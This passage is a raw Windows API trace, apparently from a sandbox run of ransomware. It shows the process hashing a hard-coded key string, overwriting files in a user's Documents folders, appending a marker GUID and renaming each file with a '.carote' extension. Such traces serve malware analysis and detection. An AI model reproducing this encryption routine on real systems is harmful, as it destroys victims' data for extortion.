pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.343] GetLastError () returned 0x0 [0113.343] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.343] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.344] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.344] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.344] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.344] CloseHandle (hObject=0x61c) returned 1 [0113.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\5TtF1NQ8K10bBmnwe.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\5ttf1nq8k10bbmnwe.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\5TtF1NQ8K10bBmnwe.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\5ttf1nq8k10bbmnwe.docx.carote")) returned 1 [0113.346] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45e35a0, ftCreationTime.dwHighDateTime=0x1d4c65d, ftLastAccessTime.dwLowDateTime=0x70a6e3f0, ftLastAccessTime.dwHighDateTime=0x1d4d581, ftLastWriteTime.dwLowDateTime=0x70a6e3f0, ftLastWriteTime.dwHighDateTime=0x1d4d581, nFileSizeHigh=0x0, nFileSizeLow=0x140eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="giZUB-hk6ZRFw.doc", cAlternateFileName="GIZUB-~1.DOC")) returned 1 [0113.346] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\giZUB-hk6ZRFw.doc") returned=".doc" [0113.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\giZUB-hk6ZRFw.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\gizub-hk6zrfw.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.346] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=82155) returned 1 [0113.346] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.348] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x140c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.348] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.349] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x140eb, lpOverlapped=0x0) returned 1 [0113.350] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.350] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.350] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.350] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.351] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.351] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.351] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.351] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.351] GetLastError () returned 0x0 [0113.351] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.351] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.352] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x140eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.352] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.352] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.352] CloseHandle (hObject=0x61c) returned 1 [0113.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\giZUB-hk6ZRFw.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\gizub-hk6zrfw.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\giZUB-hk6ZRFw.doc.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\gizub-hk6zrfw.doc.carote")) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc30ebcf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x1cea12d0, ftLastAccessTime.dwHighDateTime=0x1d4ca25, ftLastWriteTime.dwLowDateTime=0x1cea12d0, ftLastWriteTime.dwHighDateTime=0x1d4ca25, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kkla", cAlternateFileName="")) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd61c5e20, ftCreationTime.dwHighDateTime=0x1d4ce17, ftLastAccessTime.dwLowDateTime=0x4efc3c10, ftLastAccessTime.dwHighDateTime=0x1d4c84c, ftLastWriteTime.dwLowDateTime=0x4efc3c10, ftLastWriteTime.dwHighDateTime=0x1d4c84c, nFileSizeHigh=0x0, nFileSizeLow=0xc4b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rjhwjI.ods", cAlternateFileName="")) returned 1 [0113.354] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\rjhwjI.ods") returned=".ods" [0113.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\rjhwjI.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\rjhwji.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.355] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=50358) returned 1 [0113.355] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.356] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.356] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.358] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xc4b6, lpOverlapped=0x0) returned 1 [0113.358] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.358] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.358] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.358] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.359] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.359] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.359] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.359] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.359] GetLastError () returned 0x0 [0113.359] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.359] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.360] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc4b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.360] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.360] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.360] CloseHandle (hObject=0x61c) returned 1 [0113.361] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\rjhwjI.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\rjhwji.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\rjhwjI.ods.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\rjhwji.ods.carote")) returned 1 [0113.362] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6399ee0, ftCreationTime.dwHighDateTime=0x1d4d1c7, ftLastAccessTime.dwLowDateTime=0xc40ed4a0, ftLastAccessTime.dwHighDateTime=0x1d4d3b3, ftLastWriteTime.dwLowDateTime=0xc40ed4a0, ftLastWriteTime.dwHighDateTime=0x1d4d3b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WTT 8oXmb8q1blmN0eH", cAlternateFileName="WTT8OX~1")) returned 1 [0113.362] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6399ee0, ftCreationTime.dwHighDateTime=0x1d4d1c7, ftLastAccessTime.dwLowDateTime=0xc40ed4a0, ftLastAccessTime.dwHighDateTime=0x1d4d3b3, ftLastWriteTime.dwLowDateTime=0xc40ed4a0, ftLastWriteTime.dwHighDateTime=0x1d4d3b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WTT 8oXmb8q1blmN0eH", cAlternateFileName="WTT8OX~1")) returned 0 [0113.362] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.363] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.363] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0113.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0113.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.363] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.363] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.363] PathFindFileNameW (pszPath="") returned="" [0113.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.364] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0113.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.365] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=29926) returned 1 [0113.365] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.367] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.367] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.368] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.368] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0113.369] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.369] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.369] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.369] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecdf8) returned 1 [0113.370] CryptCreateHash (in: hProv=0x50ecdf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.370] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.370] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.370] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.370] GetLastError () returned 0x0 [0113.370] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.370] CryptReleaseContext (hProv=0x50ecdf8, dwFlags=0x0) returned 1 [0113.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x74f0) returned 0x7b182e0 [0113.370] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.370] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x74e1, lpOverlapped=0x0) returned 1 [0113.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.370] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.371] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.371] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.371] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.371] CloseHandle (hObject=0x61c) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f488 [0113.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b14908 [0113.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f488 | out: hHeap=0x5010000) returned 1 [0113.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.carote")) returned 1 [0113.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.372] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.373] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0113.373] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0113.373] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0113.374] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) 